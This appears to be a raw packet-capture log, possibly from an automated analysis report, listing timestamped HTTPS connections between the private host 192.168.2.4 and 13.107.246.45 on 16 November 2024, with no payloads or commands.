Nov 16, 2024 04:34:15.224278927 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.224293947 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.224498034 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.224508047 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.348643064 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.348710060 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.348999977 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.349087000 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.349087000 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.349132061 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.349160910 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.351352930 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.351444960 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.351568937 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.351869106 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.351912022 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.351948023 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.352020979 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.352087975 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.352212906 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.352212906 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.352258921 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.352284908 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.355253935 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.355434895 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.355504036 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.355726957 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.355726957 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.355741978 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.355762959 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.357312918 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.357340097 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.357434034 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.358967066 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.358989954 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.359019041 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.359107018 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.359181881 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.359750032 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.359782934 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.419426918 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.419811010 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.419831991 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.420182943 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.420187950 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.513853073 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.514492989 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.514513016 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.514919043 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.514928102 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.547307014 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.547418118 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.547476053 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.547491074 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.547540903 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.547689915 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.547689915 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.547689915 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.550003052 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.550088882 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.550338984 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.550338984 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.550472975 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.645600080 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.645637035 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.645695925 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.645704985 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.645744085 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.645926952 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.645951033 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.645962000 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.645967007 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.648605108 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.648690939 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.648818016 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.648921967 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.648941040 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.850603104 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.850629091 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.088820934 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.089678049 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.089766026 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.089849949 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.089865923 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.096859932 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.097316980 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.097414017 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.097636938 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.097651958 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.108417988 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.108748913 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.108843088 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.109102011 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.109116077 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.218516111 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.218575954 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.218650103 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.218856096 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.218895912 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.218923092 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.218939066 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.221658945 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.221693039 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.221780062 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.221930027 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.221940041 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.230516911 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.230593920 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.230663061 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.230823994 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.230864048 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.230921030 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.230937004 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.232739925 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.232808113 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.232912064 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.232994080 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.233011961 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.240077019 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.240238905 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.240305901 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.240343094 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.240361929 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.240377903 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.240385056 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.242115021 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.242134094 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.242206097 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.242312908 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.242327929 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.283461094 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.283935070 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.283996105 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.284307957 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.284362078 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.372452021 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.373060942 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.373157978 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.374175072 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.374190092 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.414529085 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.414596081 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.414666891 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.414730072 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.414771080 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.414807081 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.414807081 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.414855957 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.417350054 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.417383909 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.417448997 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.417578936 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.417589903 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.420185089 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.420202971 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.500920057 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.501081944 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.501270056 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.501270056 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.501270056 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.504259109 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.504314899 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.504389048 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.504559040 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.504573107 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.810873032 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.810950041 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.957827091 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.960210085 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.960289001 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.960725069 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.960738897 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.977686882 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.979471922 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.979510069 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:16.979904890 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:16.979909897 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.107673883 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.107753038 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.107873917 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.108042002 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.108112097 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.108113050 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.108155012 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.108179092 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.110903978 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.110949993 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.111145973 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.111186028 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.111195087 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.150475979 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.151030064 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.151062965 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.151340961 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.151345968 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.239357948 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.239921093 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.239998102 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.240214109 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.240227938 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.254765987 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.254849911 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.255022049 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.255022049 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.255098104 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.255131006 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.257827997 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.257875919 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.257951021 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.258076906 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.258089066 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.279429913 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.279603004 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.279690981 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.281292915 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.281312943 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.281323910 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.281328917 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.283570051 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.283660889 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.283763885 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.283889055 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.283911943 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.349102020 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.349853992 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.349901915 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.350327015 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.350332975 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.370021105 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.370183945 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.370243073 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.370451927 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.370479107 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.370496035 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.370502949 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.372701883 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.372746944 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.372978926 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.373116016 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.373126030 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.479681969 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.479824066 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.479898930 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.480019093 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.480019093 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.480053902 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.480076075 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.483144045 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.483247042 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.483433008 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.483623981 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.483661890 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.858158112 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.858880043 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.858895063 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.859328985 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.859333992 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.979012012 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.979581118 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.979665041 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.979914904 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.979928970 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.991297007 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.991641045 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.991714001 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.991750002 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.991767883 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.991777897 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.991782904 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.993994951 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.994045973 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:17.994147062 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.994244099 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:17.994251966 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.023351908 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.023802042 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.023854017 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.024045944 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.024060011 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.105597019 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.105664968 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.105771065 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.105824947 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.105824947 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.105936050 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.105977058 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.106004000 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.106019020 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.108618975 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.108668089 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.108746052 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.108886957 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.108903885 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.114603996 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.114974022 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.114989996 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.115353107 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.115358114 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.155601978 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.155761957 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.156060934 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.156060934 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.156060934 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.157746077 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.157782078 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.157859087 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.157963037 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.157968998 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.208662987 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.209209919 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.209296942 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.209389925 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.209404945 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.243871927 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.243956089 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.244101048 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.244129896 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.244147062 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.244159937 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.244165897 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.246182919 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.246288061 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.246380091 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.246495962 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.246514082 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.337877989 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.338028908 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.338210106 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.338210106 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.338210106 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.339840889 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.339875937 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.339929104 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.340085030 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.340090036 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.467606068 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.467681885 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.639664888 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.639738083 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.750588894 CET	443	49967	13.107.246.45	192.168.2.4
